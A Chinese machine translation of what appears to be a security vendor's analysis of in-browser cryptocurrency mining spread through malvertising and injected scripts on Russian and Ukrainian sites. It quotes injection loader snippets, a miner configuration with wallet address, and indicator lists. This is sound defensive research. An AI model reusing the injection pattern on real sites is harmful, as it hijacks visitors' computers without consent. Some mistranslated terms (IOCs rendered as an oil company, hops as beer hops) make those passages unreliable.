在过去的几个月中,我们偶然发现了一些显然用于在浏览器中直接挖掘加密货币的JavaScript文件。现在很长一段时间,网络犯罪分子利用加密货币挖掘技术获利。但是,他们通常会使用恶意软件或安装在受害者机器上的潜在不受欢迎的应用程序来转变不诚实的一分钱。
在这种特殊情况下,当用户浏览某些网站时,直接在浏览器内执行挖掘。因此,不需要感染受害者的机器或利用漏洞。所需要的只是一个JavaScript激活的浏览器,这是大多数浏览器的默认状态。这篇博文描述了我们为了更好地理解这种威胁而进行的研究。
我们开始挖掘我们的遥测技术,发现威胁部分使用恶意广告进行分发。大多数广告网络通常禁止这种CPU密集型任务,因为这大大降低了用户体验。在浏览器中挖掘加密货币可能看起来有点违反直觉 - 我们知道采矿比特币需要大量的CPU能力 - 但是我们稍后会看到,网络犯罪分子选择挖掘不需要定制硬件来加密挖掘的加密货币。此外,通过“感染”网站比通过感染用户机器更容易到达大量机器。
尽管这种不良行为可以在任何国家使用,但我们注意到这一特定行动主要影响到俄罗斯和乌克兰。
图1显示受这种威胁影响的五个主要国家。需要注意的是,这种定位可能是由于脚本注入网站的语言,因为我们可以从美国IP地址访问它们。
图2显示了历史Cisco Umbrella Top 1M排名的其中一个域名--reasedoper [。] pw - 托管这些脚本。我们注意到2017年3月至4月期间该域名的DNS查询显着增加。6月28日日 2017年reasedoper [。] PW排名26300 次。这几乎是同级别的GitHub的相当流行的文本共享网站GitHub的要点(gist.github.com),这是排名26293 次在同一天。
历史
在浏览器中加密货币挖掘的想法并不新鲜。2013年,一群麻省理工学院的学生成立了一家名为Tidbit的公司,该公司提供了一项网上服务来收取比特币。网站管理员可以将Tidbit的脚本包含在他们的网站中,通过比特币挖掘来赚取收益,而不是展示广告。然而,这些服务创始人由新泽西总检察长办公室送达了传票,因为他们在未经他们同意的情况下使用了用户的计算能力。他们终于达成和解,但不得不放弃他们的项目。
以前,其他一些服务,比如bitp [。],提供了网络浏览器比特币挖掘功能。由于采用常规CPU或GPU挖掘比特币的效率不断提高,这些服务已关闭。例如,该项目的bitp [。]项目于2011年7月结束。
它是如何分布的
这种脚本的分发方法是确定它是合法还是不需要的关键。在这种特殊情况下,我们能够找到用户可以被迫执行这些脚本的两种截然不同的方式:恶意广告和硬编码的JavaScript代码片段。图3显示了挖掘脚本的全球分布方案。
恶意广告
挖掘脚本的主要分发方法是恶意广告。一般来说,它包括从广告网络购买流量并分发恶意JavaScript而不是传统广告。在这种特殊情况下,我们不确定是否打算注入脚本,或者listat [。] biz是否被泄露。但是,listat [。] biz真的很可疑,因为它似乎模仿LiveInternet计数器(LI stat),这是一个合法的Web计数器。此外,许多可疑域名已经用相同的电子邮件地址注册,包括也出现在恶意广告链中的lmodr [。] biz。
图 4 显示了2017年7月期间为采矿脚本提供流量的主要网站。我们注意到,大部分网站都是视频流或浏览器内游戏网站。这是有道理的,因为他们的用户在观看电影或玩游戏时倾向于在同一网页上花费更多时间。另外,这样的网页预计将具有比正常更高的CPU负载,这将倾向于掩盖来自挖掘脚本的额外负载。因此,它允许挖掘脚本运行更长时间并使用更多的计算能力。
我们观察到的大多数恶意广告展示的网站okino [。]电视似乎特别受欢迎。在撰写本文时,它在俄罗斯的Alexa排名为907,乌克兰的排名为233。其他一些网站似乎也很受欢迎,在俄罗斯的Alexa Top 1000中。
图6显示了访问wotsite [。]网站时的CPU消耗。
图7中提供了上述图3中描述的重定向链的具体示例。前三只啤酒花注入由下一跳提供的脚本,如图图8,图9和10中的重定向使用的第一结构域(skyadsvideo1 [] RU在我们的例子中)不总是相同的。我们也看到了code.moviead55 [。] ru。两者都解析为相同的IP地址,167.114.238.246和167.114.249.120。根据域名skyad [。]视频的Whois数据,其域名code.skyad [。]视频也解析为相同的两个IP地址,这些域名似乎与SkyAdVideo广告网络所有者有关。
1 2 3 4 | <!--noindex--> <div id="sky_video"></div> <script type="text/javascript"src="http://skyadsvideo1.ru/code.php?v=e225aa8e9c1a68539730f11001490407"></script> <!--/noindex--> |
图8 - 从Okino [。]电视主页。
1 2 3 4 | varscript=document.createElement('script'); script.src='//lmodr[.]biz/mdstat2.php'; script.async=true; document.head.appendChild(script) |
图9 - 从Skyadsvideo1 [。] ru / code.php的脚本(解混淆后)。
1 2 3 4 | varscript=document.createElement('script'); script.src='//listat[.]biz/3.html?group=mdstat2_net&seoref='+encodeURIComponent(document.referrer)+'&rnd='+Math.random()+'&HTTP_REFERER='+encodeURIComponent(document.URL); script.async=true; document.head.appendChild(script); |
图10 - lmodr [。] biz / mdstat2.php。
对PassiveTotal的搜索显示listat [。] biz只是重定向到挖掘脚本,6月1日和7月5日除外,它也被重定向到真正的web计数器和anstatalsl [。] biz。因此,lmodr [。] biz和listat [。] biz似乎只用于注入挖掘脚本。
1 2 3 4 5 6 7 | functionshow_260(){ varscript=document.createElement('script'); script.src='//mataharirama[.]xyz/launcher.9.single.js'; script.async=true; document.head.appendChild(script); } show_260(); |
图11 - listat [。] biz / 3.html。
令人惊讶的是,我们也注意到第一跳hopad55 [。] ru也可以注入矿工。它直接托管在本网站上,可以挖掘ZCash加密货币。它使用位于ws.zstat [。] net:8889上的池,并通过Web套接字进行通信。但是,我们无法在代码中使用reasedoper [。] pw上托管的脚本展示相似性。因此,不同的团体似乎试图通过使用访问者的计算能力来获取利润。
硬编码的JavaScript代码
我们还在Google Cache上发现了大约60个网站,其中注入了与图 10中相同的JavaScript代码片段。这些网站的主页从script.php网址注入脚本。
1 2 3 | <script type="text/javascript"> [xss_clean]("<script type=text/javascript src=\""+"/script.php?group=4goodluck_org&r="+encodeURIComponent(document.referrer)+"&p="+encodeURIComponent(document.URL)+"\"><\/script>"); </script> |
图12 - 主页中的脚本注入。
该脚本调用来自各个域的URL,包括static.reasedoper [。] pw,它承载用于挖掘的JS脚本。这些脚本的分析在下一节中介绍。我们还注意到,其他注入域名之一listat [。] org与IP广告系列(listat [。] biz)共用IP地址。另一个相似之处是一个函数的名称show_260,它也用于恶意广告活动。
国际石油公司部分提供了受影响域名的非全面清单。他们中没有一个似乎是知名的网站。
它如何挖掘cryptocurrency
几个脚本托管在static.reasedoper [。] pw和mataharirama [。] xyz上。名称中有多个的脚本是多线程的,而使用单个脚本的脚本只使用一个线程。它们是主要的JavaScript文件,它将启动工作人员来挖掘不同的加密货币。这些脚本被轻度混淆:字符串文字仅使用十六进制转义序列(“\ x42 \ x43 ...”)写入。
图13显示了使用这个脚本可以开采Feathercoin,Litecoin和Monero。不过,他们似乎目前还没有开采莱特币。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | function(_0xab8e5a,_0x36e7b7,_0x4c105c){ _0x36e7b7[_0x7e60('0x5')]={ 'assets_domain':_0x7e60('0xee'), 'debug':!![], 'feathercoin':{ 'pool':_0x7e60('0xef'), 'default_wallet':'6nmfjYVToBWb2ys4deasdydPj1kW9Gyfp4' }, 'monero':{ 'pool':_0x7e60('0xf0'), 'default_wallet':_0x7e60('0xf1') }, 'litecoin':{ 'pool':'', 'default_wallet':'' } }; } |
图13 - 可以开采三枚硬币。
Feathercoin和Litecoin是受比特币启发的加密货币。主要区别在于它们分别使用不同的哈希算法:neoscrypt和scrypt。目标是减少使用定制硬件(如ASIC矿工)而不是常规CPU的必要性。挖掘它们不仅需要CPU功率,还需要大量的内存。
最后一个货币 Monero与另外两个货币不同。它的主要特点是与比特币相比,隐私性更强。由于区块链不透明,因此很难追踪交易。特别是,它使用环形签名来隐藏多个可能的发件人地址中的发件人地址。它还为每个传输生成一个新的公钥,以隐藏真实的接收器。所使用的散列算法cryptonight也需要大量的内存。因此,在常规机器上选择这种用于JavaScript挖掘的altcoin是有意义的。
由于挖掘需要大量计算能力,运营商决定使用asm.js而不是常规JavaScript来实现哈希算法并不奇怪。据说Asm.js比C中这些算法的常规执行慢1.5至2倍。提供了三种:scrypt.asm.js(Litecoin),cryptonight.asm.js(Monero)和neoscrypt.asm .js(Feathercoin)。
最后,所有脚本中的Feathercoin钱包地址是相同的,而使用几个不同的Monero地址。但是,相同的地址在几个脚本中共享; 因此,我们相信他们都属于同一个群体。由于Monero的主要特征是匿名性,我们无法获取存放在钱包中的钱数。至于Feathercoin,这个地址在网络上没有看到。我们不确定这个原因,但可能是由于使用了采矿池。
与以前的网页矿工联系
在采矿脚本中,我们找到了一个硬编码的Feathercoin地址,6nmfjYVToBWb2ys4deasdydPj1kW9Gyfp4。Google上的快速搜索表明,该地址已经使用了好几年。
在2016年初发布的博文中,一位互联网用户抱怨使用100%CPU的脚本。他们描述的内容与我们分析的和Feathercoin地址匹配的非常相似。在发现时,采矿脚本被托管在minecrunch [。] co。上。搜索这个域导致cryptocurrencytalk.com上的一个话题,用户Kukunin在其中描述了它的“谦虚服务 - MineCrunch”。关于表现,Kukunin解释说:
“虽然传统的CPU挖掘利润太少,但以近于原生速度的分布式挖掘(成千上万的访问者)一些新的Cryptocoin(cpu-only左右)可能会非常可爱。
[...]
C Scrypt矿工通过使用Emscripten编译为Javascript以获得最佳性能。性能比本地cpuminer应用程序慢大约1.5倍。“
第一篇文章(https://kukunin.github.io/webminer/)中的链接显示了相同的Feathercoin地址。这加强了reasedoper [。] pw矿工和minecrunch [。] co。之间的联系。然而,如果MineCrunch的目标是为分布式采矿提出开放式服务,那么reasedoper [。] pw产生的利润显然只会使MineCrunch的作者(或硬编码地址的所有者)受益,因为它不太可能指定一个会员标识符。
结论
尽管使用JavaScript矿工而不是原生程序的性能下降,但矿工网站收到的访问者数量可能会让他们获利。根据Cisco Umbrella Top 1M,6月份,reasedoper [。] pw的DNS查询数量与gist.github.com一样多。
即使它可以被认为是传统广告的替代品,但在没有用户同意的情况下,这种行为是不需要的。新泽西州消费者事务部认为,在未经用户同意的情况下在用户机器上开采比特币等同于获得对计算机的访问权限。因此,在开始采矿之前,这些服务的开发者应该清楚地宣传它,而在使用恶意广告的分销方案中显然不是这种情况。
最后,用户可以通过在其浏览器中安装良好配置的广告拦截器或脚本拦截器插件来保护自己免受这种威胁。ESET用户可以通过启用潜在的UnSafe应用程序检测来保护自己免受这些恶意脚本的攻击,被检测为JS / CoinMiner.A潜在的不安全应用程序。
国际石油公司
挖掘和恶意广告URL
Domain | URL | Note |
---|---|---|
static.reasedoper.pw | static.reasedoper[.]pw/launcher.0.single.js static.reasedoper[.]pw/launcher.1.single.js static.reasedoper[.]pw/launcher.2.single.js static.reasedoper[.]pw/launcher.0.multi.js static.reasedoper[.]pw/launcher.1.multi.js static.reasedoper[.]pw/launcher.2.multi.js […] | Website that hosts the mining scripts. |
mataharirama[.]xyz | mataharirama[.]xyz/launcher.9.single.js | Copy of reasedoper. They share 2 IP addresses: • 163.172.162.231 • 163.172.153.226 |
listat[.]biz | listat[.]biz/3.html | Redirect to reasedoper[.]pw or mataharirama[.]xyz. |
lmodr[.]biz | lmodr[.]biz/mdstat.php | Redirect to listat[.]biz |
哈希
Hash (SHA-1) | File name | Detection name |
---|---|---|
fa2f4cf2f38383477a0a78d7e3d0841f254c5adf | launcher.0.multi.js | |
b9cd68313b72deac23a53f44ae68598ec139ad27 | launcher.0.single.js | |
e44c502ff69b6bbe291e8125304203af0f675aa3 | launcher.1.multi.js | |
7ce2fb5cea77cbd38cd54533bce81d1b0b0d7a82 | launcher.1.single.js | |
3b28b5f079f6d2bdaa028b31a2b5fa9734f832f2 | launcher.2.multi.js | |
51b97b46fe53cc5aaedc3f45d6517a74008ca9cd | launcher.2.single.js | |
38ccae4555505c8d5f36a9d9c9a20fe80a11304a | launcher.3.multi.js | |
2aa56f945c7d3805d3ee7851cdd4e932f1cd3160 | launcher.3.single.js | |
ae6fe31b8355a3e70d6bf6c89ff7ae18c8de41d0 | launcher.4.single.js | |
fc7e8fb976cc260ceb680e10713e4640b23dde79 | launcher.4.multi.js | |
d5482f2f7bab8a8832f65f6ba5dc2edc5e19687f | launcher.5.multi.js | |
b5d475d9c084d652faabe3888bbda5b673ebe9dd | launcher.5.single.js | |
626646c572211e157dceeb4b918b9f46c3c656f5 | launcher.6.single.js | |
3c70b32180c2e6ae39006eee867135650c98cfa0 | launcher.6.multi.js | |
80c11eb331758a4d6d581ddcb5ebeca9410afe93 | launcher.7.multi.js | |
52317c0abdc69f356dd2865c1fd35923f8beb7d3 | launcher.7.single.js | |
31d40684cd765ef6625fd9a03d2522d84f0ca79b | launcher.8.single.js | JS/CoinMiner.A potentially unsafe application |
9bc931ec55d1fed45bec1c571a401f4a201a02cf | launcher.8.multi.js | |
afae4cf246125671b7eae976c7329b4e0729e109 | launcher.9.multi.js | |
3ac2e2d827e39bd802d5e3f7619099696bc38955 | launcher.9.single.js | |
c4c5f13f0250364bd1321d038d56dbf1a97154f8 | launcher.10.single.js | |
29695469e53822602d9b1884c2268a68e80df999 | launcher.10.multi.js | |
b34216ee46ea1355cbc956514012e74ff9712129 | launcher.11.multi.js | |
9394db4ba0ee70673d451547fd4ae40bfea6112d | launcher.11.single.js | |
6f0bf3fa4dea541a7293b89661d539bb602218c6 | launcher.12.single.js | |
3512351bd8903ae82cc1162fed4faaafceba893d | launcher.12.multi.js | |
5adf5146a84699b6aca5e9da52bb629bceaa7726 | launcher.13.single.js | |
8c45141791b94e172fd5ad8eaefebe5ebb8e729c | launcher.13.multi.js | |
519928629becb1f8b18a56609b03d4cea3c52ddd | launcher.14.multi.js | |
c5629530af39c99c25f83baee7db4a24a9d0aa03 | launcher.14.single.js | |
bf3a1151bc4f8188f735583257ecbbd1eaff123f | launcher.15.multi.js | |
6e5d2b1b9f1140079f3b48edec09c8515e77e14d | launcher.15.single.js | |
12b1bfd6b49c02f928f0429f1505d114583c213c | monero.worker.js | |
885f102c9d4dd2e286401756ca265e4aa3f7a664 | scrypt.worker.js |
带有硬编码注入脚本的域
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | allday[.]in[.]ua anekbook[.]ru bike[.]co[.]ua cg-lab[.]ru dikobras[.]com doctrina62[.]ru ekavuz[.]ru fenix-45[.]ru ipnalog[.]ru jobochakov[.]com kharkov-arenda[.]com[.]ua kuzdoska[.]ru laminirovanievolos[.]ru marlin-group[.]ru mat4ast[.]com megalifez[.]net mirstihoff[.]ru munirufa[.]ru murlyka[.]net[.]ua newscom[.]ru obad[.]ru ogms[.]ru opinionblog[.]ru optiplast[.]ru otdamprimy[.]ru pcook[.]ru pogelanie[.]info posbank[.]ru programs-tv[.]ru psinovo[.]ru scoot-club[.]ru ska4ka[.]com stihi[.]by stihoslov[.]ru subcar[.]org sumytex[.]in[.]ua suntehnic[.]ru td-klassik[.]ru trbook[.]com[.]ua vstupino[.]su x-sport[.]info |